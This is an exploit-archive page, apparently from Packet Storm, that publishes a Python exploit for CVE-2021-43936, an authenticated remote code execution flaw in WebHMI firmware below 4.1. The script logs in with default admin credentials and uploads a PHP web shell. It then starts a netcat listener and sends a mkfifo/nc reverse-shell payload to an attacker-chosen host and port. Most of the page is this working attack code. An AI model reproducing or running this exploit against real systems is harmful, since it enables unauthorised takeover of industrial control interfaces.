exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebHMI 4.0 Remote Code Execution

WebHMI 4.0 Remote Code Execution
Posted Dec 13, 2021
Authored by Jeremiasz Pluta

WebHMI version 4.0 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2021-43936
SHA-256 | 8fecf35d71f3dc324d5f2026b521284cc1cccc2af0409c865a94d3d565f19bef

WebHMI 4.0 Remote Code Execution

Change Mirror Download
# Exploit Title: WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 12/12/2021
# Exploit Author: Jeremiasz Pluta
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI Firmware < 4.1
# CVE: CVE-2021-43936
# Tested on: WebHMI Firmware 4.0.7475

#!/usr/bin/python
import sys
import re
import argparse
import pyfiglet
import requests
import time
import subprocess

banner = pyfiglet.figlet_format("CVE-2021-43936")
print(banner)
print('Exploit for CVE-2021-43936')
print('For: WebHMI Firmware < 4.1')

login = "admin" #CHANGE ME IF NEEDED
password = "admin" #CHANGE ME IF NEEDED

class Exploit:

def __init__(self, target_ip, target_port, localhost, localport):
self.target_ip = target_ip
self.target_port = target_port
self.localhost = localhost
self.localport = localport

def exploitation(self):
payload = """<?php system($_GET['cmd']); ?>"""
payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""

headers_login = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'X-WH-LOGIN': login,
'X-WH-PASSWORD': password,
'X-Requested-With': 'XMLHttpRequest',
'Connection': 'close',
'Content-Length': '0'
}

url = 'http://' + target_ip + ':' + target_port
r = requests.Session()

print('[*] Resolving URL...')
r1 = r.get(url)
time.sleep(3)

print('[*] Trying to log in...')
r2 = r.post(url + '/api/signin', headers=headers_login, allow_redirects=True)
time.sleep(3)

print('[*] Login redirection...')
login_cookies = {
'X-WH-SESSION-ID':r2.headers['X-WH-SESSION-ID'],
'X-WH-CHECK-TRIAL':'true',
'il18next':'en',
}
r3 = r.post(url + '/login.php?sid=' + r2.headers['X-WH-SESSION-ID'] + '&uid=1',cookies=login_cookies)
time.sleep(3)

print('[*] Uploading cmd.php file...')
files = {
'file': ('cmd.php', payload, 'application/x-php')
}
r4 = r.post(url + '/files.php', files=files, cookies=login_cookies)
time.sleep(3)

print('[*] Setting up netcat listener...')
listener = subprocess.Popen(["nc", "-nvlp", self.localport])
time.sleep(3)

print('[*] Executing reverse shell...')
print('[*] Watchout for shell! :)')
r5 = r.get(url + '/uploads/files/cmd.php?cmd=' + payload2, cookies=login_cookies)

if (r5.status_code == 200):
print('[*] Got shell!')
while True:
listener.wait()
else:
print('[-] Something went wrong!')
listener.terminate()

def get_args():
parser = argparse.ArgumentParser(description='WebHMI Firmware <4.1 Unrestricted File Upload + Code Execution (Authenticated)')
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
args = parser.parse_args()
return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close